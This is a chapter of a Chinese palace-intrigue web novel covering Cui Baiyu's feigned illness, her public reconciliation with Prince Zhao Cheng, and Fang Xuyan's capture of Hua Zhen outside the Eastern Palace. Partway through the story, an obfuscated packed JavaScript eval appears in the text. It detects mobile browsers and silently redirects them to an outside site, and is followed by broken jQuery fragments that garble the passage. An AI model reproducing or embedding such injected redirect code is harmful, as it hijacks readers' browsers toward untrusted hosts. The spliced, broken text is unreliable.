52. 惊变

作品:《女配位极人臣

    病来如山倒,病去如抽丝。


    崔白玉这一病,接连五日都没能露面。


    坊间传言,说她已经病入膏肓,药石无医。


    而朝廷上下更是议论纷纷,都觉得她此次彻底失势,已经有人摩拳擦掌准备投靠宸王党派,亦或是齐阁老。


    良禽择木而栖,长乐郡主如今能有今天,全依仗太后的提携,若是失了恩宠,他们合该为自己打算。


    而此时,崔白玉一身亵衣,靠在金丝软枕上,翻看着手里的游记有些意兴阑珊,慢慢有点眼皮发重,迷迷糊糊又睡过去。


    这人好似放下一切,过上了“洗手作贤妻”的日子。


    过来一会儿,下人们端着熬好的药进屋,放到桌上。


    赵丞走到床前,手轻轻搭在她的额间,心里有了底,遂又将她胸口的被子往上提了提。


    “.........已经入夏了,”崔白玉怀念那时候的吊带短裤,睡眼惺忪,看了他一眼,“今日又给我带了什么好吃的?”


    赵丞眼皮微微一沉,不动声色地拿开了她的手,“腌鱼鲙。”


    养病这段日子,赵丞在她身上费了不少心思,每天的饭食都换着花样,但不准她挑三拣四。


    当然了,除了治她挑食的毛病,再一个就是调整她的作息时间。


    崔白玉夜猫子的外号名不虚传,这几日两人同床共枕,崔白玉都睁着水灵灵地大眼睛,在他身旁翻来覆去,不是就给他编小辫子,就是套他的话。


    赵丞不忍心对一个伤患下手,夜里不知冲了几次凉水澡,然后再回来将人禁锢在怀里色厉内荏地警告。


    崔白玉轻扬下巴,勾起一个笑,眸子晶莹如星,“那王爷搀妾身下床吧。”


    “好好说话。”赵丞俯下身,一只手揽住她的肩膀,一手绕过她的膝弯,稳稳地将人抱起来。


    “大师说现在可以适当地走走路了,”崔白玉敛了不怎么正经的神色,拿指尖抵着赵丞的胸口,“你是想我腿脚废了,伺候我一辈子么?”


    “未尝不可。”赵丞将人放在椅子上,撩开她的裤脚,仔细检查了一下膝盖上的伤口,“别乱动。”


    哪有这么娇弱啊,崔白玉叹了口气,和赵丞对视一眼,又很快移开视线,“吃饭吧,光看着我也吃不饱。”


    赵丞的眉蹙了一下,欲言又止,沉默半晌,一直等她用完饭才开口问道:“外面的谣言你不管?”


    “都说了什么?”崔白玉搁下筷子,喝了一口酸梅汤。


    赵丞没说什么谣言,直说了结果:“礼部已经有不少人给齐阁老递投名状了。”


    “都是留不住的那批人,墙头草罢了,”崔白玉接过他手里的册子,认真地看了一下,“他们这些人就算就在我身边也没什么用,虾兵蟹将都不如有条大鱼实在。”


    水能载舟亦能覆舟,那些见风使舵的人,既能拥护她,也能将她推向深渊。


    如若再不和这些人撇清关系,也就离死不远了。


    赵丞道:“户部尚书冯靖,盐政司苏孟荆。”


    这两个人和崔瑜走的不是很近,若是没有深入调查,根本察觉不到是她的人。


    “我只要这两个人就够,”崔白玉浅浅地笑了下,“留住有实力的人,才是关键。”


    赵丞微微皱眉,觉得事情愈发不对。


    崔白玉见美人脸上的阴郁之色越来越浓重,笑道:“说了半天,我还不知道你想做什么呢,不说说?”


    赵丞心里微微一动,打量了她一会儿,问道:“你是不是故意的?”


    崔白玉一副什么都不懂来的无辜表情,“什么事?”


    赵丞道:“私自找上孟云姿,被太后发现。”


    “你想哪去了,”崔白玉浅浅一笑,“晚上有时间吗?跟我去趟绣衣坊,买两件衣服穿。”


    说话的模样还是那样恬静,赵丞忍不住问道:“现在是挑衣服的时候?”


    这些人虽说让她背负了污名,但多年来积攒的势力毁于一旦,她却无动于衷。


    崔瑜究竟想做什么?


    “紧张什么?”崔白玉大言不惭地说,“我从良了,专门给你做夫人。”


    赵丞闭上眼,深吸一口,半晌,指责道:“花言巧语。”


    崔白玉轻轻哼了一声,很自然地把手搭在他的肩头,慢吞吞地站起身。


    赵丞目光紧紧跟随。


    崔白玉道:“对了,赵辛来过吗?”


    赵丞道:“来过,到了王府大门就回去了。”


    “回去了?”崔白玉咂摸了一下嘴,心道:“这小兔崽不回又在胡思乱想了吧?”


    果然,有机会还是得回去看一眼。


    赵丞道:“你的腿能行?”


    “是肿了不是断了,以前怎么没发现你这么爱操心人?”崔白玉走到床沿,坏心眼地拽着他的手将人带到床上,“兖州的事调查的如何了?”


    孔武有力的宸王殿下被一位女子压在身下,毫无反抗之力,呼吸也乱了一拍,“他们一口咬定幕后之人是你。”


    崔白玉跪在他的腰腹间,压着他的两只手,“你不怀疑我了?”


    赵丞喉结滚了又滚,呼吸都重了几分,道:“我不是那个意思。”


    崔白玉将他的神色变幻尽收眼底,极轻地低头笑了下,“那你是哪个意思?”


    赵丞一瞬不瞬地盯着她的眼睛。


    以他沉闷的个性,断然不会继续开口往下说,可这次居然出乎意料。


    赵丞目光幽深,阴沉着脸说:“他们一直在打着你的名号做事。”


    不论是卖官鬻爵,还是贪污受贿,他们以崔白玉的名义。


    “原来是担心我真的背上通敌叛国的罪名,”崔白玉哭笑不得地说道,“你早说,我们就不用吵架了。”


    赵丞额角青筋直跳,薄唇紧紧绷成一条线,下一刻,翻身将人压在身下,拿额头抵着崔白玉的额头,咬住了她的唇,“你从来不信我.......”


    崔白玉回手摸了摸赵丞的侧脸,眸子情绪复杂,无意识地盯着床幔,没再说一句话。


    两人不约而同陷入沉默。


    过了一会儿,崔白玉觉得身上的压着人,沉甸甸的很有安全感,继续环着他的腰身没有松手,但也不合时宜地想到了花枕那句讥讽,“虽然痛失所爱,但换来锦绣前程,你不配得到真心。”


    “如果这场博弈我输了,就不要管我了。”这句话她发自内心,无比真诚。


    但正是因为这话,榻上多出几分温柔旖旎的气氛。


    “不会让你输。”赵丞担心压得人喘不过来气,稍微调整了一下姿势,然而隔着雪白的绸质布料,崔白玉可以清晰地感受到赵丞灼热的体温。


    两人在榻上厮混了一会儿,崔白玉算着时间差不多就让人准备马车。


    过了有一炷香时间,在大庭广众之间,在宸王府门前,一群人猝不及防,被宸王和宸王妃喂了一嘴狗粮。


    两人是死对头,是政敌,这件事大家都心照不宣,没有拔刀相见就已经万幸,可他们却亲眼目睹,宸王殿下搂着长乐郡主的腰走出王府,就连上马车也是亲自搀扶。


    夫妻二人看起来琴瑟和鸣,如胶似漆,完全没有任何嫌隙。


    怎么会这样,长乐郡主不是太后的鹰犬吗?


    两人握手言和了?


    众人一脸难以置信,路过的老婆婆却一语道破,“以后都要一起过日子了,被窝里什么仇什么怨解不开!”


    “是啊,夫妻哪有隔夜仇!”


    马车里,崔白玉听着外面的诸多言论,心满意足地笑了一下,须臾,瞥见赵丞耳尖泛红,学着老婆婆地语气说:“被窝里什么仇什么怨解不开,王爷为什么在床上喜欢捂住我的嘴?”


    赵丞目光不自觉地落在崔白玉的红唇。


    崔白玉道:“真是块木头。”


    赵丞一路沉默,两人招摇过市地出现在绣衣坊,挑选衣服。


    崔白玉不知道试了多少件,朝着赵丞腻味地说:“夫君,这件好看吗?”,“夫君这些我都带回去吗?”,“夫君能不能帮我系个衣带?”


    弄得店铺里几个小丫头都觉得不好意思,简直没地方放眼睛,直愣愣地站在柜台。


    赵丞更是备受煎熬,手掌不由自主地在袖中收紧了。


    两人在街上悠闲自在,事情没过多久,消息就传到了宫里。


    齐嬛面色凝重,冷笑道:“看来她这是铁了心要和哀家作对。”


    不长教训反而还想叛变,天底下好处还想都占了不成?


    花枕斟酌了一下,“属下立即派人警告她。”


    “等等,”不能再是警告这么简单,齐嬛抬了抬手,沉默良久,渐渐的,心中已经有几分主意,双眸陡然射出两道寒光,“这坊间的传言说不出实情,只需要那些娱人耳目的玩意儿,长乐应该是想借助这次机会投靠宸王,既然如此,那便传赵辛过来。”


    软肋被人捏在手里,崔白玉还能闹翻了天不成?


    花枕点头称是。


    殿内沉默片刻,齐嬛问道:“全千帆准备的如何了?”


    花枕道:“三日后就该到了。”


    齐嬛紧绷的脸色微微有些舒展,看了一眼尚未批阅完的文书,终觉放心不下,叮嘱道:“兹事体大,你亲自去东宫将太子带过来。”


    花枕领了吩咐踮着脚尖儿退了出去。


    等她到了东宫,忽然发现这地方已经被天策卫上上下下围得水泄不通。


    方叙言也来了东宫?


    花枕握住腰间的刀柄,想到一会儿可能会兵刃相接,心里不知是什么滋味。


    可太后的执意不可违背。


    她理不清乱成一团的头绪,决心抛开所有顾忌,想着哪怕今夜杀个血流成河,也要把太子抓出来。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15538235|167739||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    可就在她要亮出太后手谕的时候,身后传来一阵脚步声。


    蓝色官轿停在眼前,周正德从轿子走下来,因走得太急,额上都有了汗,提高声音说,“太子遇刺,任何人不得接近东宫一步,你们是何人?”


    花枕从不以真面目示人,今日只是稍作伪装,但也很难有人认出她,“奉太后口谕,今晚必须带走太子。”


    周正德微眯了一下眼睛,“太子殿下遭遇歹人行刺,凶手尚未捉住,为防止意外再次发生,陛下已经严禁派人进出东宫。”


    花枕心中十分不满,冷哼了一声,“周公公,我今日就要带走太子你能奈我何?”


    话落,她身后的随行侍卫纷纷拔出刀刃,杀意逼人。


    “大胆!”见状,周正德一股怒意涌了上来,脸色越发难看起来,“你敢忤逆圣意!”


    有什么不敢的?皇帝荒废朝政多年,他的话有谁会听?


    “周公公,有什么话都去太极殿讲罢,”花枕冷然一笑,抽出刀刃抵在他的颈侧,“带人走!”


    刚刚说完,方叙言带着一队人马包围过来,“来人,把刺客都拿下。”


    这变故来得太快,叫人猝不及防,花枕一愣,侧头望过去,四目相对的一瞬,分了心神。


    周正德趁机抽身,躲到了轿子后面。


    方叙言长剑已出鞘三寸,眉骨间凝着化不开的阴翳,“看来,你就是鬼市之主。”


    花枕不愿与他交手,猛然旋身,射出数枚袖箭,锥尾系着黑色丝线。


    金丝剑出鞘,方叙言侧身躲过,手里的剑刃如赤练般劈出直取面门。


    花枕一身杀人的功夫,若是有心反杀,只需要多花费些时间,可她却无论如何都下不去手。


    飞刀迎上剑锋,只听“锵”然一声,刹那间,火星四溅,声势慑人。


    两人打了几个来回,方叙言瞅准时机,刀锋猛地转向,以雷霆万钧之势劈下。


    说杀就动手,一点不含糊。


    花枕知道他不会手下留情,可真被那把长剑刺伤,心口比伤口更疼。


    血染青衣,一怔间,方叙言猛然挑开了她的人面,在脸划出一道红痕。


    花枕后退几步,下意识挡住脸,可两人都闹到这个份儿上了,她又何苦自欺欺人。


    “剑招霸气,出手狠辣,小侯爷的剑术又进步了不少。”


    说着,她银牙紧咬,抽出腰间的软剑,蓦然空中青影一闪,杀招频出。


    方叙言不曾想对方出刀速度如此之快,身形旋开,再看前胸衣襟已被划破,身上很快就见了血。


    花枕双足落地,道:“小侯爷不是我的对手,再这么下去,只会把自己搭上。”


    方叙言擦了擦嘴角的血,欺身逼上,“既然找到你,我就没打算放你离开。”


    “自不量力!”金丝剑面前一划,花枕微微侧身,手中银光一闪,砍下三刀。


    可她完全没料到,方叙言挡下两刀,到了第三刀硬生生挨了这一下,并且迅速出手攥住了她的手腕,“抓住了。”


    力道极大,甚至捏碎了她的手骨。


    花枕心弦剧颤,没能施出下一招,就被方叙言刺穿了左肩。


    血液顺着伤口汩汩流出,她倒退几步,身形栽倒,一股劲风已袭向咽喉,艰难地说:“.........小侯爷当真是不懂得怜香惜玉。”


    方叙言死死地盯着她,手上的力道不断加重。


    手中的软剑脱落,花枕握住了他的手,眼圈一红,心中自有万语千言,竟无从说起,“能死在小侯爷手里,小女子也算是此生无憾了........”


    方叙言指节关节因用力而高高凸起,一字一顿地道:“你杀了我恩师!”


    “小侯爷现在说什么都晚了.......”花枕胸脯剧烈起伏着,呼吸越来越困难。


    周正德方才被两人的交手的阵势吓得腿软,过了好一会才回神,从轿子探出头,“小侯爷且慢,此人罪该万死,但要想洗清黄老的污名,还需交给大理寺定罪!”


    方叙言胸膛剧烈起伏,眼底翻涌着翻江倒海地怒火,恨不得亲手将人撕碎。


    可他还要给恩师洗清罪名。


    良久,天策卫见方叙言松开人,迅速上前给花枕拷上了锁链。


    其中一个侍卫道:“侯爷,您的伤口需要处理一下。”


    伤口足有两寸深,外翻的皮肉泛着诡异的青白,方叙言垂着手,指缝间很快洇出鲜血,“不必,先派人去王府通知王妃,太子殿下确实出事了。”


    周正德震惊道:“什么?”


    事情发展到现在这个局面,难道不是崔白玉的手笔?


    方叙言无力地摇了摇头,低声道:“太子殿下服了寒食散,想要辞了东宫的位子。”


    这件事是他们所有人都始料未及的。


    周正德目瞪口呆,敢情陛下收到的辞呈是真的?!